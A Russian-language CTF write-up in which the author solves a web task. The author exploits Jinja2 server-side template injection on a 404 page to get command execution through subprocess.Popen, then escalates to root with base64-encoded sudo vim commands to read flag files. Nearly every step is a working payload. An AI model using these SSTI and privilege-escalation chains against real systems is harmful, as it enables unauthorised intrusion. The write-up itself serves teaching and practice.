# [web] On takeoff 1 & 2!

Итак, сразу к делу (╯°□°)╯︵ ┻━┻
## На взлет
Быстро отркываем landing.ctf.potee.ru (пока он не упал) и смотрим что тут есть.

Тыкаем все что тыкается, понимаем кнопки ничего не делают и ~~закрываем~~
совершенно случайно обнаруживаем страницу с ошибкой 404.

Видим что значение из URL отражается на странице, вводим что-то типа `{{5 * 5}}`
На выходе получаем 25 о_0

Значит тут [SSTI](https://portswigger.net/web-security/server-side-template-injection)
## Работаем по шаблону
По графику видим что тут скорее всего шаблонизатор Jinja2 (встречается чаще всего)

Впишем в URL `{{config.items()}}`, в результате получим словарь с конфигурационными значениями flask.

> Если до вас никто не решал этот таск, то у вас будет меньше значений, так как еще никто не подключил библиотеку os
Подключаем библиотеку os с помощью `{{ config.from_object('os') }}*`
Далее пишем `{{ ''.__class__.__mro__}}`, это выведет список существующих классов.

Нам нужны подклассы класса `object`, пишем `{{''.__class__.__mro__[1].__subclasses__() }}`

Получаем список, в нем ищем что-то, что позволит исполнять команды
В данном случае это `subprocess.Popen`
Теперь нужно узнать какой у него номер в этом списке.
Для этого пишем `{{ .__class__.__mro__[1].__subclasses__()[266:] }}` и подбираем такое число, чтобы `subprocess.Popen` был в начале списка.
Получается `{{ ''.__class__.__mro__[1].__subclasses__()[394:] }}` **394** номер

## RCE
Теперь когда мы нашли нужны класс, попробуем выполнить команду на сервере
```
{{ ''.__class__.__mro__[1].__subclasses__()[394]('whoami',shell=True,stdout=-1).communicate() }}
```

Команда исполнилась! Теперь найдем и прочитаем флаг
```
{{ ''.__class__.__mro__[1].__subclasses__()[394]('ls',shell=True,stdout=-1).communicate() }}
```

```
{{ ''.__class__.__mro__[1].__subclasses__()[394]('cat user_flag.txt',shell=True,stdout=-1).communicate() }}
```

Первый флаг мы получили! Но нам этого мало, нам нужно все.
# Повышаем привелегии
Проверяем какие программы нам доступны с правами рута без пароля
```
{{ ''.__class__.__mro__[1].__subclasses__()[394]('sudo -l',shell=True,stdout=-1).communicate() }}
```

Видим что мы можем запускать `/usr/bin/vim` от имени рута без пароля.
Мы можем повысить свои привелегии с его помощью, так как он умеет выполнять системные команды.
Просто пишем в гугле что-то типа vim privesc и попадаем на известный сайт https://gtfobins.github.io/gtfobins/vim/

Первый вариант нам подойдет, но если мы попробуем его вставить в URL то получим ошибку, так как шаблонизатор не может обработать знаки.
Придется от них избавиться :D
Преобразуем строку `sudo /usr/bin/vim -c ':!ls /root/'` в base64 и пишем такую команду
```
{{ ''.__class__.__mro__[1].__subclasses__()[394]('echo c3VkbyAvdXNyL2Jpbi92aW0gLWMgJzohbHMgL3Jvb3QvJw== | base64 -d | sh',shell=True,stdout=-1).communicate() }}
```

Обнаруживаем что страница долго висит а потом падает в 504.
Это происходит из-за того что vim работает в интерактивном режиме, а браузер его не поддерживает.
В итоге нам нужно переделать команду так, что-бы vim выполнял команду и закрывался без перехода в интерактивный режим
Немного изучив документацию vim'а у меня получилась такая команда
```
sudo /usr/bin/vim --cmd ':!ls /root/' -ec 'qa!'
```
Конечный результат
```
{{ ''.__class__.__mro__[1].__subclasses__()[394]('echo c3VkbyAvdXNyL2Jpbi92aW0gLS1jbWQgJzohbHMgL3Jvb3QvJyAtZWMgJ3FhISc= | base64 -d | sh',shell=True,stdout=-1).communicate() }}
```

~~Я получил власть которая и не снилась моему отцу~~
Все работает! Забираем флаг
```
sudo /usr/bin/vim --cmd ':!cat /root/root_flag.txt' -ec 'qa!'
```
```
{{ ''.__class__.__mro__[1].__subclasses__()[394]('echo c3VkbyAvdXNyL2Jpbi92aW0gLS1jbWQgJzohY2F0IC9yb290L3Jvb3RfZmxhZy50eHQnIC1lYyAncWEhJw== | base64 -d | sh',shell=True,stdout=-1).communicate() }}
```

---
:sunglasses: by [@nullzur](https://t.me/Nullzur)